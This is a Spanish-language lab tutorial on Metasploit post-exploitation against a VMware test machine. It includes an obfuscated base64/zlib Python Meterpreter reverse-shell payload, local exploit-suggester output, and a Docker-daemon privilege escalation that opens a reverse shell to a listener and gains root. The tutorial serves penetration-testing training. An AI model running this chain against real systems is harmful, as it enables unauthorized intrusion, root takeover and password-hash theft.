Esta shell o herramienta llamada meterpreter te da muchas facilidades a la hora de realizar tecnicas de post-explotacion, por lo que vamos a ver cuales son las mas relevantes de dicha herramienta.
Vamos a iniciar metasploit:
sudomsfconsole-q
NOTA:
En concreto nosotros vamos a utilizar los modulos de post-explotacion de Linux de metasploit en la siguiente ruta:
Estando dentro de metasploit anteriormente explotamos una vulnerabilidad llamada UnrealIRCD la cual nos daba una shell y la vamos a explotar para ir a la fase de post-explotacion.
useunix/irc/unreal_ircd_3281_backdoor
La cosa es que en este modulo solo tienen payloads como cmd, perl, ruby, etc... pero no tienen una shell que tede un meterpreter por lo que vamos a ver a como generar nuestro porpio payload personalizado para que nos de un meterpreter.
Por lo que no nos interesa ahora mismo ese exploit, por lo que le daremos a back y vamos a explotarlo de forma manual con el exploit de github que encontramos anteriormente modificandole el codigo para que nos de una shell de meterpreter estando a la escucha con metasploit.
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 436 bytes
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UN9LwzAQfm7+ir4lwRjWWasbVhDxQUSEzTcZo01ODU2TkGRaFf93GzI8uDu+u+9+qtFZH8tgxQCRfWvVs74L0NQsRH8QkUU1Anq1vpxKZUrfmTcg1YKuURH912yL0OZinh1ZsiPePt0+7LfPm7ubR5p4XFhjQERCcLVa8qq5nJVXZyvMLmahidR76AZUwCTAxdQ9jedBAzhyTpFu81b8YFwnBoKv7zEL3IP4IDWlL4sdku0Ra4o+35WGUoMhkl7puZ08+c+e5jBFMIEg6XAuQdjReQiB5B/wvqlTUEJish8c8Dr8UvQHedtfeQ==')[0])))
Y nos daria el payload en la terminal, por lo que copiamos eso y lo pegamos en el codigo del exploit de giyhub.
Si queremos ejecutar uno dentro de nuestro meterpreter el cual hemos obtenido, podremos hacer de la siguiente forma:
runpost/linux/gather/checkvm
Info:
[*] Gathering System info ....
[+] This appears to be a 'VMware' virtual machine
Con esto obtenemos informacion del sistema y nos dice que esta corriendo en una maquina virtual de VMware, lo cual es cierto.
Si por ejemplo quisieramos ejecutar el hashdump para dumpearnos todos los hashes, con este usuario no podriamos ya que nos pediria que tuvieramos un usuario como administrador.
Por lo que algunos modulos van a ir con dicho usuario y otros no.
Para nosotros poder intentar escalar privilegios, vamos a utilizar una serie de exploits locales, por lo que dejaremos esta sesion de meterpreter en segundo plano poniendo background para no perderla.
Nos vamos atras con back y vamos a utilizar un llamado Recomendador de exploits, podremo acceder a el ejecutando lo siguiente:
usepost/multi/recon/local_exploit_suggester
Si nosotros hacemos el show options para ver sus opciones lo que vemos es que necesita una sesion activa la cual tenemos nosotros en segundo plano.
Por lo que le especificariamos la sesion con el siguiente comando:
setsession1
Y para ejecutar esto pondriamos exploit y ya estaria en ejecuccion:
[*] 192.168.16.129 - Collecting local exploits for python/linux...
[*] 192.168.16.129 - 196 exploit checks are being tried...
[+] 192.168.16.129 - exploit/linux/local/cve_2021_3493_overlayfs: The target appears to be vulnerable.
[+] 192.168.16.129 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.16.129 - exploit/linux/local/cve_2022_0995_watch_queue: The target appears to be vulnerable.
[+] 192.168.16.129 - exploit/linux/local/docker_daemon_privilege_escalation: The target is vulnerable.
[+] 192.168.16.129 - exploit/linux/local/overlayfs_priv_esc: The target appears to be vulnerable.
[+] 192.168.16.129 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.16.129 - exploit/linux/local/ptrace_traceme_pkexec_helper: The target appears to be vulnerable.
[+] 192.168.16.129 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.16.129 - exploit/linux/local/sudo_baron_samedit: The target appears to be vulnerable. sudo 1.8.9.5 is a vulnerable build.
[*] Running check method for exploit 69 / 69
[*] 192.168.16.129 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/cve_2021_3493_overlayfs Yes The target appears to be vulnerable.
2 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable.
3 exploit/linux/local/cve_2022_0995_watch_queue Yes The target appears to be vulnerable.
4 exploit/linux/local/docker_daemon_privilege_escalation Yes The target is vulnerable.
5 exploit/linux/local/overlayfs_priv_esc Yes The target appears to be vulnerable.
6 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
7 exploit/linux/local/ptrace_traceme_pkexec_helper Yes The target appears to be vulnerable.
8 exploit/linux/local/su_login Yes The target appears to be vulnerable.
9 exploit/linux/local/sudo_baron_samedit Yes The target appears to be vulnerable. sudo 1.8.9.5 is a vulnerable build.
En este caso nos ha encontrado unos cuantos exploits los cuales podemos aprovechar, entre ellos uno interesante llamado docker_daemon para escalar privilegios.
[*] Started reverse TCP handler on 192.168.16.139:4444
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: python
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Docker daemon is accessible.
[+] The target is vulnerable.
[*] Writing payload executable to '/tmp/sGcXSLhva'
[*] Executing script to create and run docker container
[*] Sending stage (1017704 bytes) to 192.168.16.129
[+] Deleted /tmp/sGcXSLhva
[*] Meterpreter session 2 opened (192.168.16.139:4444 -> 192.168.16.129:44925) at 2024-11-21 05:42:45 -0500
[*] Waiting 60s for payload
meterpreter >
Y por lo que vemos lo ha conseguido, si ahora hacemos un getuid para saber que usuario somos:
Server username: root
Veremos que ya somos root.
Ahora si por ejemplo queremos dumpearnos los hashes, si podriamos: